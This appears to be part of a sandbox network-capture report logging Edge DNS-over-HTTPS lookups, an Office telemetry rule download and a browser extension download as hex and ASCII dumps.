58	192.168.2.6	49819	162.159.61.3	443	7744	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:36 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-20 13:43:36 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-20 13:43:37 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 20 Nov 2024 13:43:36 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e58deb7ad9943e0-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 13:43:37 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1f 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	49827	172.64.41.3	443	7744	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:36 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-20 13:43:36 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-20 13:43:37 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 20 Nov 2024 13:43:36 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e58deb7abc5c351-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 13:43:37 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 23 00 04 8e fa 41 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom#A)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	49831	172.64.41.3	443	7744	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:36 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-20 13:43:36 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-20 13:43:37 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 20 Nov 2024 13:43:36 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e58deb7bf53178c-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 13:43:37 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1b 00 04 8e fa 40 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom@C)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	49832	172.64.41.3	443	7744	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:36 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-20 13:43:36 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-20 13:43:37 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 20 Nov 2024 13:43:36 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e58deb7bead18cc-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 13:43:37 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 12 00 04 8e fa 40 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom@C)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	49826	172.64.41.3	443	7744	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:36 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-20 13:43:36 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-20 13:43:37 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 20 Nov 2024 13:43:36 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e58deb7faea8c0b-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 13:43:37 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 26 00 04 8e fa 41 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom&A)

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:36 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:37 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:37 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: c1a1e3cb-901e-005b-1f8c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134337Z-1777c6cb754g9zd5hC1TEBfvpw00000009u000000000az3h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:37 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	49825	142.250.181.65	443	7744	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:37 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 13:43:37 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC4jLjJ81yqJz-0FzxxhgyZ73nTpGQSMU4IskNen6tjpHBXcUpgTX7t-ywvaWNEiwIURJ7wTubOt1Q X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Tue, 19 Nov 2024 16:45:00 GMT Expires: Wed, 19 Nov 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Age: 75517 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-20 13:43:37 UTC	817	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-20 13:43:37 UTC	1390	IN	Data Raw: 5f b2 be 56 5f e7 71 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c Data Ascii: _V_q:__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\
2024-11-20 13:43:38 UTC	1390	IN	Data Raw: 8e b5 a1 c8 fb ee 81 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FS
2024-11-20 13:43:38 UTC	1390	IN	Data Raw: eb 3e aa 67 36 b6 c2 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 Data Ascii: >g6}oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~
2024-11-20 13:43:38 UTC	1390	IN	Data Raw: 48 3f c7 20 98 a3 4a ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 Data Ascii: H? Jc$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-11-20 13:43:38 UTC	1390	IN	Data Raw: 50 3d 5b 7f a3 9a c1 c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 Data Ascii: P=[C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8Q
2024-11-20 13:43:38 UTC	1390	IN	Data Raw: ee 12 87 56 cb 68 4b 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 Data Ascii: VhKn=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@
2024-11-20 13:43:38 UTC	1390	IN	Data Raw: 8f 15 60 c1 98 b9 ab 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 Data Ascii: `cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6
